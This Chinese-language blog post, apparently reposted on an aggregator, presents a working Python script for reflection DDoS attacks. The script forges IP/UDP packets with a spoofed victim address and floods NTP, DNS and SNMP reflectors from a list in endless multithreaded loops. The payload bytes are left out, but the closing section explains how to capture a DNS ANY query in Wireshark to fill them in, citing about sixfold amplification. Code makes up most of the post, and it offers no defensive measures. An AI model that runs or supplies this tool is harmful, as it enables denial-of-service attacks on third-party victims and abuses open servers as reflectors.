IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    浅谈拒绝服务攻击的原理与防御(3):反射DDOS攻击利用代码

    针发表于 2017-03-06 04:30:15
    love 0

    0×01 前言

    之前发了一篇关于反射DDOS攻击原理以及反射资源扫描的文章,本来今天的这个应该并到那篇文章里,共称为反射DDOS攻击扫描与利用,但是我怕这样做会教坏小孩子,我发第一篇DDOS文章的时候freebuf就502了。。。。。凑巧了,弄得我都不敢发利用代码了,但是我想了一天以后我觉得我还是发出来吧,毕竟我写的也不好,没必要藏着掖着的,我还会把payload去掉,让大家自己填写,这就不算是我搞破坏了。废话不多说了,赶紧发完下班了。

    0×02 代码的使用方法

    首先,我这是在linux环境下写的,开始我用windows开发的,但是总是不成功,调用python的原始套接字伪造源IP地址总是不能发出去,后来我换到linux上就好了(kali),我并没有调用第三方的库,只要是linux+python就可以执行,在执行之前需要先在利用代码的同文件夹中建一个ipaddress.txt文件 ,作为反射攻击的反射资源地址池,多点少点都行,但是记住最后一行不要空着,不然程序报错,格式就如同下图(IP地址,端口号):

    利用代码就是如下这些了。。。。

    #!/usr/bin/python
    #-*-coding:utf-8-*-
    
    import socket
    import struct
    import random
    import threading
    
    class myThread (threading.Thread):   
        def __init__(self,srcip,srcport):
            threading.Thread.__init__(self)	 
            self.srcip = srcip
            self.srcport =srcport
    		 
        def run(self):                    
            re_att(self.srcip,self.srcport)
    
    def checksum(data):
        s = 0
        n = len(data) % 2
        for i in range(0, len(data)-n, 2):
            s+= ord(data[i]) + (ord(data[i+1]) << 8)
        if n:
            s+= ord(data[i+1])
        while (s >> 16):
            s = (s & 0xFFFF) + (s >> 16)
        s = ~s & 0xffff
        return s
    
    def IP(source,destination,udplen):
    	version = 4
    	ihl = 5
    	tos = 0
    	tl = 20+udplen
    	ip_id = random.randint(1,65530)
    	flags = 0 
    	offset = 0
    	ttl = 128
    	protocol =17
    	check =0
    	source = socket.inet_aton(source)
    	destination = socket.inet_aton(destination)
    
    	ver_ihl = (version << 4)+ihl
    	flags_offset = (flags << 13)+offset
    	ip_header = struct.pack("!BBHHHBBH4s4s",
                        ver_ihl,
                        tos,
                        tl,
                        ip_id,
                        flags_offset,
                        ttl,
                        protocol,
                        check,
                        source,
                        destination)
    	check=checksum(ip_header)
    	ip_header = struct.pack("!BBHHHBBH4s4s",
                        ver_ihl,
                        tos,
                        tl,
                        ip_id,
                        flags_offset,
                        ttl,
                        protocol,
                        socket.htons(check),
                        source,
                        destination)  
    	return ip_header
    
    def udp(sp,dp,datalen):
    	srcport=sp
    	dstport=dp
    	udplen=8+datalen
    	udp_checksum=0
    	udp_header = struct.pack("!HHHH",srcport,dstport,udplen,udp_checksum)
    	return udp_header
    
    
    def re_att(srcip,srcport):
    	NTP_data=#payload需要你们自己写啊,就是写\x0a 这种十六进制的就可以,不会写的话叫你们个简单方法,去whireshark上抓一个包
    	DNS_data=#payload需要你们自己写啊
    	SNMP_data=#payload需要你们自己写啊
    
    	n=len(ipaddr)-1
    	while 1:
    		i=random.randint(0,n)
    		ip_port=ipaddr[i]
    		dstip=ip_port[0]
    		dstport=int(ip_port[1])
    		if dstport==123:
    			data=NTP_data
    		elif dstport==53:
    			data=DNS_data
    		elif dstport==161:
    			data=SNMP_data
    		else:
    			print 'dest port error!'
    		datalen=len(data)
    		udp_header=udp(srcport,dstport,datalen)
    		ip_header=IP(srcip,dstip,len(udp_header)+datalen)
    		ip_packet=ip_header+udp_header+data
    		s.sendto(ip_packet,(dstip,dstport))
    
    proto_udp=17
    proto_tcp=6
    s = socket.socket(socket.AF_INET,socket.SOCK_RAW,17)
    s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
    ipaddr=[]
    f = open("ipaddress.txt","r")
    lines=f.readlines()
    for line in lines:
    	line=line.strip('\r\n')
    	l=line.split(',')
    	ipaddr.append(l)
    
    srcip=raw_input('attack IP:')
    srcport=int(input('attack PORT:'))
    threads=int(input("线程数threads:"))
    
    threads_name=[]
    need=(srcip,srcport)	
    for i in range(threads):
    	threads_name.append('teread'+str(i))
    
    for i in range(threads):	
    	threads_name[i]=myThread(srcip,srcport)
    
    for i in range(threads):
    	threads_name[i].start()
    
    
    #这个攻击没有结束,想停就直接关了终端就可以了
    
    #这个脚本支持多线程,但是要量力而行,我在虚拟机中10线程就有点卡了

    这个工具没带payload,但是我可以教大家一个简单的写payload的方法,就是用whireshark抓包

    第一步,打开kali whireshark抓包,然后开终端,用dig工具

    看,这就能抓到一个DNS的请求和回复包了。这里用的是ANY,请求80字节回复486字节,放大了6倍

    第二步,点开请求包(就是80字节那个,别点开错了),选中DNS部分,然后复制,为hex转储

    第三步,打开个记事本,把刚才的粘贴进去,这不就是十六进制的payload了吗,把前面的0000那些删掉,再把这些字符以‘\xdf’+’\xdb’+…..这种形式连起来就可以了

    第四步,剩下的就自己去领悟吧,别的payload道理差不多,有能力就自己写,想简单点就去复制一下也可以,我可没教你们什么,其他的都是你们自己领悟出来的。。。。。。



沪ICP备19023445号-2号
友情链接